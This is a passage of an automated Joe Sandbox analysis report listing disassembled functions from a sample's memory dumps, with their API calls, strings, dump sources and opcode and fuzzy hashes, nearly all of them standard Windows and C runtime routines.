Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 10008336 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 004174A4 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

GetLastError.KERNEL32 ref: 00417508
__dosmaperr.LIBCMT ref: 0041750F
GetLastError.KERNEL32(?,?,?,?), ref: 00417549
__dosmaperr.LIBCMT ref: 00417550

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: 408a06d1cf8366b2ae1f3811782f7cd1de2d149ac6df674c503089c6b33b154d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 2B21CD716042057FDB20AF66C880CAB7779EF44368710852AF91997751D739ED818768

Function 04B6770B Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

GetLastError.KERNEL32 ref: 04B6776F
__dosmaperr.LIBCMT ref: 04B67776
GetLastError.KERNEL32(?,?,?,?), ref: 04B677B0
__dosmaperr.LIBCMT ref: 04B677B7

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: f4526a12b2d6cfcbdbd6154a40763b9e242f2d3e4138721b66fa84794ee8b04d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 40216271600206AFEB20AF65DC8497BB7ADFF4826C71085A9E92B97150EF39FC518B50

Function 004111DB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: c7293b4e2709a45a538168f771ca0d14dcb5837bd486a4ca313c9b6cb4d0090e
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: DF21C971600219AFDB20AF659C40DEB776DAF44368B10456BFA29E7261D738DC8187A8

Function 04B61442 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: 0937be4c3a0f95bc59f73deebab5d1a5cf266e586aac11e6638c6380ec15a4fc
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: C3219671200205AFEB10AF6DDC8096BB7AEFF4426970085A5ED1BD7150E739FC118BA0

Function 00418445 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041844D

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00418485
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004184A5

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction ID: 9202fe00a5822ec58f1db5debff3a6e736622b39abe9cc99b2a2d556b75614f5
Opcode Fuzzy Hash: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction Fuzzy Hash: A01104B65005167F6B212BB25D89CEF295CDF89398721402EF905A1201FE2CDE8241BE

Function 04B635A0 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,04B636AF,04B537FE,?,00000000,04B52A70,04B52A72,?,04B63828,00000022,00420B0C,00422950,00422958,04B52A70), ref: 04B63661

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 986a46d7506b7a769d448398190e08aba98ada76e2fce98b8689e474a220f80a
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: 2C210532F05210ABC7319F24EC80A5A7BA9EB42760F1511B0ED07A73D1DB38FD02C694

Function 04B686AC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 04B686B4

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B686EC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B6870C

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction ID: ba30c4dbe4331058796c72856df44962592a77fb103f38f2799d84ca77c680ad
Opcode Fuzzy Hash: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction Fuzzy Hash: E31184B66025197F77213B725CCCCBF6DADDE4919870104B4F90796100FA68EE0185B6

Function 04D1AD84 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04D1ADA0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04D1ADB9

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 410cb2dec83f0e149793fed91062ab2606e69ffbbe45f606be61b73123cc28a5
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 0F01883270A711BEB73527B87CC5A5B2B54FB01679B60023BFD10552F1FE55B80255D4

Function 0041CBE8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000), ref: 0041CBFF
GetLastError.KERNEL32(?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000,?,0041A021,?), ref: 0041CC0B

Part of subcall function 0041CBD1: CloseHandle.KERNEL32(FFFFFFFE,0041CC1B,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000), ref: 0041CBE1

___initconout.LIBCMT ref: 0041CC1B

Part of subcall function 0041CB93: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041CBC2,0041C84C,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CBA6

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CC30

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: b2f8e5e77f4d676ad0e685e0439cc39e0844638a97b8ad054d7e4805cd8d945f
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: D6F01C36580118BBCF221F95ED45ADA3F26FF497A0B404031FA0D96121D6328C619BD8

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 04B6CE4F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000), ref: 04B6CE66
GetLastError.KERNEL32(?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000,00000000,?,04B6A288,?), ref: 04B6CE72

Part of subcall function 04B6CE38: CloseHandle.KERNEL32(0042CA30,04B6CE82,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000,00000000), ref: 04B6CE48

___initconout.LIBCMT ref: 04B6CE82

Part of subcall function 04B6CDFA: CreateFileW.KERNEL32(00428728,40000000,00000003,00000000,00000003,00000000,00000000,04B6CE29,04B6CAB3,00000000,?,04B69CE5,00000000,00000000,00000000,00000000), ref: 04B6CE0D

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000), ref: 04B6CE97

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: dc75c7f2d23fda5d49179f7743a2973bf4464179386fd2fb86f42017cf95b76e
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: FCF0303A500118BBCF325F95DC04ACD3F36FF086A1B404470FA6E96130D736A821ABD4

Function 00409D0D Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409CAA,00000064), ref: 00409D30
LeaveCriticalSection.KERNEL32(0042D064,00401044,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D3A
WaitForSingleObjectEx.KERNEL32(00401044,00000000,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D4B
EnterCriticalSection.KERNEL32(0042D064,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D52

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction ID: ed1c7c09b24d5124ebc712e1e7f2573f2e40a4f9289d25860d0ee5ca28a3c269
Opcode Fuzzy Hash: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction Fuzzy Hash: 8FE0ED31A85628FBCB111B50FC09AD97F24AF09759F508032F90976171C7795D039BDD

Function 00410EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00410F6D

Strings

pow, xrefs: 00410F45, 00410F62

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction ID: 1dd945e64f0d07477a36e3934c2b0d008af5dc79b4df0e8c4bba017ec81d751d
Opcode Fuzzy Hash: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction Fuzzy Hash: 65512B75A0820296CB217714DA023EB6BA49B40750F618D6FF095463E9EBBCCCD7DA4E

Function 00409590 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004096CE
std::_Xinvalid_argument.LIBCPMT ref: 004096E5

Strings

vector too long, xrefs: 004096E0

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_
String ID: vector too long
API String ID: 3646673767-2873823879
Opcode ID: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction ID: f4da2a5e80598445161bac14147e50f437b92e93805fe79093e1120e4695fd56
Opcode Fuzzy Hash: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction Fuzzy Hash: 5A5125B2E002159BCB14DF69C84066EB7A5EF80314F10067FE805FB382EB75AD408BD5

Function 04B5BA27 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B5BA66
__IsNonwritableInCurrentImage.LIBCMT ref: 04B5BB1A

Strings

csm, xrefs: 04B5BB04

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 6a74517b29ae47185d2eca4c2dff8f738dcdf65939a10d7df17f483f2a1baf51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 1B418F34A04208ABDF10DF68C884B9EFBB5EF44318F148095EC15AB361DB75BA16CB91

Function 0040C060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040C085

Strings

MOC, xrefs: 0040C097
RCC, xrefs: 0040C09F

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: fbbd96fe11317218043276dd35bf9a0f08be73a273ccdb2477d392fe495d2932
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: EC414972900209EFCF15DF94CD81AAEBBB5BF48304F14826AF9057B2A2D3399951DF58

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 04B5C2C7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B5C2EC

Strings

MOC, xrefs: 04B5C2FE
RCC, xrefs: 04B5C306

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: 35294f6277549a3e14c31040a3c7fa59444a359fd4f07a065d1c018ac29356a3
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: C341377190020DEFDF25CF98CD80BEEBBB6FF48304F148099E904A7220D239A950DB50

Function 00401300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040138C

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

]DFE, xrefs: 00401320
KN, xrefs: 0040132E

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: KN$]DFE
API String ID: 2296764815-873640922
Opcode ID: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction ID: c7a597aca517c447b6d362385d7579deaaf1cbe7f5b4030a5a3b5ced69f100f5
Opcode Fuzzy Hash: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction Fuzzy Hash: 57210CB0F00384CAE724DF64E8467B9B760AF19308F44827AF8546B2B2D77855C2CB5D

Function 04D10700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D1078C

Strings

KN, xrefs: 04D1072E
]DFE, xrefs: 04D10720

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: KN$]DFE
API String ID: 1385522511-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: 37ec326df0576036f58e5ab2b3b8ee82f5a79f543965f89300d315cb6203cfa1
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 6A2128B0F00284EAE721EF64F8557A8B760EF19308F448265E8541B271EB7461C2CF5D

Function 04B51567 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B515F3

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

]DFE, xrefs: 04B51587
KN, xrefs: 04B51595

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: KN$]DFE
API String ID: 4132704954-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: bbd05d9e6ce5e25e0b0a74694e4a1bd367812ab245d452f90528bb1357b2aabd
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 952106E0F00284CAE724AF68E8457A8F770AF1A308F8492A5E8541B271DB7465C6CB5D

Function 00408410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040847E

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

_DC[, xrefs: 00408427
CD^O, xrefs: 00408430

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction ID: e43b8a85f3d3021ebc641e50c070c1ece00a7f90a8480fa311e7b242f9d929d7
Opcode Fuzzy Hash: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
